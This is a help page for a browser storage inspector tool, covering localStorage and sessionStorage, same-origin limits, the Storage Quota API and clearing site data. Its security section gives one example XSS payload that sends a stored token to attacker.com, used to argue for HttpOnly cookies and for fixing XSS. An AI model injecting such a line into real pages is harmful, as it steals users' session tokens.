Browser Storage Inspector - localStorage & sessionStorage Viewer

How to use this tool

1. Switch between localStorage and sessionStorage using the tabs.
2. Add new entries with the key-value form, or click Edit/Delete on existing rows.
3. Total storage usage is shown at the bottom.

This inspector is limited by the browser’s same-origin rules. It can read and edit storage for the origin in the address bar, which is toolcroft.com when using the hosted tool; it cannot inspect another website or a different localhost port. To inspect another site, use that site’s browser developer tools or open this tool from the origin you want to examine.

Browser storage comparison

Security note

Never store sensitive data (tokens, passwords, PII) in localStorage - it's accessible to any JavaScript running on the page, making it vulnerable to XSS attacks. Use HttpOnly cookies for authentication tokens.

XSS and localStorage: a concrete example

Suppose a site stores a JWT access token in localStorage and has an XSS vulnerability - even a minor one, such as unsanitized user-generated content. An attacker can inject a script like fetch('https://attacker.com/?t=' + localStorage.getItem('token')) and silently exfiltrate the token to steal the user's session. An HttpOnly cookie cannot be read by JavaScript, which helps prevent that kind of token theft. However, injected code may still issue requests as the signed-in user while the session is active, so HttpOnly cookies do not replace fixing the XSS bug.

Storage Quota API

The navigator.storage.estimate() API lets web applications check how much storage they are currently using and the estimated quota for the origin. It returns a promise resolving to an object with usage (estimated bytes used) and quota (estimated bytes allowed); subtract usage from quota for rough remaining headroom. The estimate can include IndexedDB, Cache Storage, and other origin data, and browsers may round or vary the values. It is useful for progressive web apps that cache large assets or store significant user data offline.

const { usage, quota } = await navigator.storage.estimate();
console.log(`Using ${Math.round(usage / 1024 / 1024)} MB of ${Math.round(quota / 1024 / 1024)} MB`);

The inspector’s table reports UTF-8 byte length for each key plus its value. This is a handy comparison for Web Storage entries, but it is not the same measurement as the browser’s origin-wide estimate above.

Clearing storage for a specific origin

In Chrome DevTools: open the Application panel -> select Storage in the left sidebar -> click Clear site data. This clears localStorage, sessionStorage, cookies, IndexedDB, and the Cache Storage for the current origin in one click. You can also clear individual storage types by expanding the relevant sections.